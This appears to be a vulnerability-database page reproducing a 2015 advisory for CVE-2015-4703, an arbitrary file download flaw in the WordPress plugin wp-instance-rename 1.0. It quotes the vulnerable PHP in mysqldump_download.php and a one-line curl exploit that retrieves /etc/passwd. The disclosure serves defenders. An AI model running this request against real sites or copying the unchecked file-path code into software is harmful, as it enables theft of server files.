| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| WordPress wp-instance-rename 'mysqldump_download.php' plugin arbitrary file download vulnerability | 8 Jul 201500:00 | – | cnvd | |
| CVE-2015-4703 | 12 Jan 201619:00 | – | cve | |
| CVE-2015-4703 | 12 Jan 201619:00 | – | cvelist | |
| EUVD-2015-4722 | 7 Oct 202500:30 | – | euvd | |
| CVE-2015-4703 | 12 Jan 201619:59 | – | nvd | |
| WordPress Multiple Plugins / Themes Directory Traversal / File Download Vulnerability (HTTP) | 20 Nov 202000:00 | – | openvas | |
| WordPress Rename Plugin <= 1.0 - Absolute Path Traversal | 22 Jun 201500:00 | – | patchstack | |
| Path traversal | 12 Jan 201619:59 | – | prion | |
| wp-instance-rename <= 1.0 - Arbitrary File Download | 23 Jun 201500:00 | – | wpexploit | |
| wp-instance-rename <= 1.0 - Arbitrary File Download | 23 Jun 201500:00 | – | wpvulndb |
`Title: Arbitrary File download in wordpress plugin wp-instance-rename v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2015-06-12
Download Site: https://wordpress.org/plugins/wp-instance-rename/
Vendor: Vlajo
Vendor Notified: 2015-06-12
Advisory: http://www.vapid.dhs.org/advisory.php?v=127
Vendor Contact:
Description: WordPress Rename plugin allows you to easily rename the complete WordPress installation. This plugin allows you to rename WordPress database, WordPress directory, change every necessary configuration file, easily from one page.
Vulnerability:
The code in mysqldump_download.php doesn't check that the requested file is within the intended download directory:
try{
$dbname = $_GET["dbname"];
$dumpfname = $_GET["dumpfname"];
$backup_folder = $_GET["backup_folder"];
}catch (Exception $e){}
if(empty($backup_folder)){
$backup_folder="backup/";
}
echo "$dumpfname";
if (file_exists($dumpfname)) {
// zip the dump file
$name=$dbname . "_" . date("Y-m-d");
$zipfname = $backup_folder.$name.".zip";
$zip = new ZipArchive();
if($zip->open($zipfname,ZIPARCHIVE::CREATE))
{
$zip->addFile($dumpfname,$dumpfname);
$zip->close();
}
// read zip file and send it to standard output
if (file_exists($zipfname)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($zipfname));
flush();
readfile($zipfname);
CVEID: 2015-4703
OSVDB:
Exploit Code:
• curl --data "dbname=wp&dumpfname=/etc/passwd&backup_folder=." http://www.example.com/wp-instance-rename/mysqldump_download.php -o p.zip
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation